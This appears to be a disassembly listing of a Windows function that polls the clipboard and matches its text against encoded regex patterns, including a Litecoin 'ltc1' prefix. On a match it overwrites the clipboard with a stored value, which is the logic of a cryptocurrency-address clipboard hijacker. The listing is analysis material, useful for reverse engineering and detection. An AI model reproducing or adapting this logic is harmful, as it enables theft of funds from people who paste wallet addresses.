Function at 0x140001340
Capabilities:
Open clipboard
Read clipboard data
Write clipboard data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xb0]
sub rsp, 0x1b0
mov rax, qword [0x140054140]
xor rax, rsp
mov qword [rbp + 0xa0], rax
lea rax, str.21244E4C22241E52141252053E52373552312F52254E524622044D4A534C4B025B75
mov qword [rsp + 0x50], rax
lea rsi, str.33261D2B1A38371848261D331E07252D4B4E47072C160F0E1B053818182E48473D3B75
lea rax, str.574045214F07241E52193E52394F524622044B4F025B5675
mov qword [rbp - 0x40], rsi
mov qword [rsp + 0x58], rax
lea rax, str.5740452157130B1C4E032433322256241E52141252053E52373552312F52254E524622044D49534B4C025B5675
mov qword [rsp + 0x60], rax
lea rax, str.57212B241E52053E52254F524622044C4C025B5675
mov qword [rsp + 0x68], rax
lea rax, str.57213B244A52463E52373552312F522A22044E02244E52461E52141252053E52373552312F522522044C4D025B5675
mov qword [rsp + 0x70], rax
lea rax, str.574045214B244F52463E3D22244E52463E52373552312F52251E52141252052204464C025B5675
mov qword [rsp + 0x78], rax
lea rax, str.5740452138244F52461E52053E522522044A4A025B5675
mov qword [rbp - 0x80], rax
lea rax, str.574045210D244F52461E52053E522522044D4B534C4B025B5675
mov qword [rbp - 0x78], rax
lea rax, str.574045213E244F52461E52053E522522044C4C025B5675
mov qword [rbp - 0x70], rax
lea rax, str.2157571D160B1C1016111C1E0C17455640570E030F56241E52054F524622044B4E025675
mov qword [rbp - 0x68], rax
lea rax, str.5740452127244E52463E52373552312F52251E521412520522044C4C025B5675
mov qword [rbp - 0x60], rax
lea rax, str.21571D111D5657241E52054F524622044C4602565B
mov qword [rbp - 0x58], rax
lea rax, str.4E4C150D4E2C3A2F2728321929270747160F1B0710340D31183E1838484A4A344E4E75
mov qword [rbp - 0x50], rax
lea rax, str.4F073E494D4D4F4E3D4A4B4E4A46474B4D3B1B394C4C3C194B4F3B474B3E4F4D4B3A4B3D493B3D4A4F1D75
mov qword [rbp - 0x48], rax
lea rax, str.2B263127162A3407140F4E2A0D1E092A091C34312E25314809071A111D3509344C2B75
mov qword [rbp - 0x38], rax
lea rax, str.3B39192B4A0A083837290C0E330C391E4B1A2F110F351A38290933471B354C2A3D0E75
mov qword [rbp - 0x30], rax
lea rax, str.4B3E0C2646082D4D310C3E26104D461C3E4E14392A47331E2D143847094A3E392549123D294A2A2D25472D2C1E252A28274D1A47320A194A0B0B2D0C3D14100C2E473A0C0A1D3A0A2D180C2B1C2E280C332B0B3E2D12260C29262A4A110A1775
mov qword [rbp - 0x28], rax
lea rax, str.383C4B3E2A3427363B4C2C2939334B3135313C2D2D4A392828334C3D262A2E3832353E382C2D314C4C2E3E324D2F4D4C2D394A252E3B312B75
mov qword [rbp - 0x20], rax
lea rax, str.0D373E1C15100B0E3C2727494912372E2815392C063D4C1B12194D12101E0C46060F75
mov qword [rbp - 0x18], rax
lea rax, str.3E2B3412474C293C4A311C4D2D2B0714350C0D1A28480E46111C343C193E4B0F0F1075
mov qword [rbp - 0x10], rax
lea rax, str.0E0513131B0D0F4B111A11094F070F11070E0F4A1B1211120E0C171447130E170518081E4C1C0C140B1175
mov qword [rbp - 8], rax
lea rax, str.270A3B3531093B4C3B083A160F1C0D253C160F3438383B4D293D354A2D0728331C1075
mov qword [rbp], rax
lea rax, str.1D111D4E0A4A071B481B0C1C4F150D1C06144A1E0F1411090846050B0E0C070F1A0D0B12111A46081711
mov qword [rbp + 8], rax
xor ecx, ecx
xor ebx, ebx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x14000185e
lea ecx, [rbx + 1]
call qword [sym.imp.USER32.dll_GetClipboardData]
mov rdi, rax
test rax, rax
je 0x1400014cb
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
test rax, rax
je 0x1400014cb
mov rcx, rax
call fcn.1400211c0
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call qword [sym.imp.USER32.dll_CloseClipboard]
test rbx, rbx
je 0x14000185e
mov rcx, rbx
call fcn.140001180
mov r15, rax
test rax, rax
je 0x140001837
xor r14d, r14d
lea rdx, [0x140051038]
mov rcx, rax
lea r8d, [r14 + 3]
call fcn.1400240a0
test eax, eax
jne 0x1400015b0
lea rcx, str.1D1C4E0E4D13064A4B4F134C181B48070A0A480F0805130D140E11151B0B090717054F054C4F080C494D
call fcn.140001260
mov rcx, rax
call fcn.140001180
xor ecx, ecx
mov rdi, rax
mov r13, rbx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x140001807
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, 0xffffffffffffffff
inc rdx
cmp byte [rdi + rdx], r14b
jne 0x140001543
inc rdx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rsi, rax
test rax, rax
je 0x1400015a5
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
test rax, rax
je 0x1400015a5
mov rdx, rdi
sub rax, rdi
nop word [rax + rax]
movzx ecx, byte [rdx]
mov byte [rax + rdx], cl
lea rdx, [rdx + 1]
test cl, cl
jne 0x140001580
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rdx, rsi
mov ecx, 1
call qword [sym.imp.USER32.dll_SetClipboardData]
call qword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x140001800
mov r8d, 4
lea rdx, str.ltc1
mov rcx, r15
call fcn.1400240a0
test eax, eax
jne 0x140001653
mov rcx, rsi
call fcn.140001260
mov rcx, rax
call fcn.140001180
xor ecx, ecx
mov rdi, rax
mov r13, rbx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x140001807
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, 0xffffffffffffffff
inc rdx
cmp byte [rdi + rdx], r14b
jne 0x140001600
inc rdx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rsi, rax
test rax, rax
je 0x1400015a5
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
test rax, rax
je 0x1400015a5
mov rdx, rdi
sub rax, rdi
nop word [rax + rax]
movzx ecx, byte [rdx]
mov byte [rax + rdx], cl
lea rdx, [rdx + 1]
test cl, cl
jne 0x140001640
jmp 0x14000158e
xor r12d, r12d
mov r13, rbx
nop dword [rax]
mov rcx, qword [rsp + r14 + 0x50]
call fcn.140001260
mov rcx, rax
call fcn.140001180
mov rcx, qword [rbp + r14 - 0x50]
mov rbx, rax
mov qword [rsp + 0x40], rax
call fcn.140001260
mov rcx, rax
call fcn.140001180
mov rdi, rax
test rbx, rbx
je 0x140001747
lea r9, [rbp + 0x18]
mov qword [rsp + 0x20], 0
lea r8, [rbp + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.14000b4a0
mov rsi, rax
test rax, rax
jne 0x1400016dc
lea ecx, [rax + 2]
call fcn.140021138
mov r9, qword [rbp + 0x10]
lea rdx, str.PCRE_compilation_failed_at_offset__d:__s_n
mov r8d, dword [rbp + 0x18]
mov rcx, rax
call fcn.140001010
jmp 0x140001753
mov r9, 0xffffffffffffffff
inc r9
cmp byte [r15 + r9], 0
jne 0x1400016e3
mov dword [rsp + 0x38], 0x1e
lea rax, [rbp + 0x20]
mov qword [rsp + 0x30], rax
mov r8, r15
xor eax, eax
xor edx, edx
mov dword [rsp + 0x28], eax
mov rcx, rsi
mov dword [rsp + 0x20], eax
call fcn.14001a620
mov rcx, rsi
mov ebx, eax
call qword [0x140054008]
test ebx, ebx
jns 0x140001769
cmp ebx, 0xffffffff
je 0x140001753
mov ecx, 2
call fcn.140021138
mov rcx, rax
lea rdx, str.PCRE_error__d_n
mov r8d, ebx
call fcn.140001010
jmp 0x140001753
lea rcx, str.Failed_n
call fcn.140001060
inc r12d
add r14, 8
cmp r12d, 0xc
jb 0x140001660
jmp 0x1400017fb
lea rcx, str.Match_found._n
call fcn.140001060
xor ecx, ecx
mov rsi, r13
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1400017fb
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, 0xffffffffffffffff
inc rdx
cmp byte [rdi + rdx], 0
jne 0x140001791
inc rdx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rbx, rax
test rax, rax
je 0x1400017f5
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
test rax, rax
je 0x1400017f5
mov rdx, rdi
sub rax, rdi
nop dword [rax]
nop dword [rax + rax]
movzx ecx, byte [rdx]
mov byte [rax + rdx], cl
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400017d0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rdx, rbx
mov ecx, 1
call qword [sym.imp.USER32.dll_SetClipboardData]
call qword [sym.imp.USER32.dll_CloseClipboard]
mov r14, qword [rsp + 0x40]
lea rsi, str.33261D2B1A38371848261D331E07252D4B4E47072C160F0E1B053818182E48473D3B75
mov rcx, r14
call fcn.14002491c
mov rcx, rdi
call fcn.14002491c
mov rcx, r15
call fcn.14002491c
mov rcx, r13
call fcn.14002491c
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001486
lea rcx, str.Failed_n
call fcn.140001060
mov rcx, rbx
mov r13, rbx
call fcn.14002491c
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001486
lea rcx, str.Failed_n
call fcn.140001060
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001486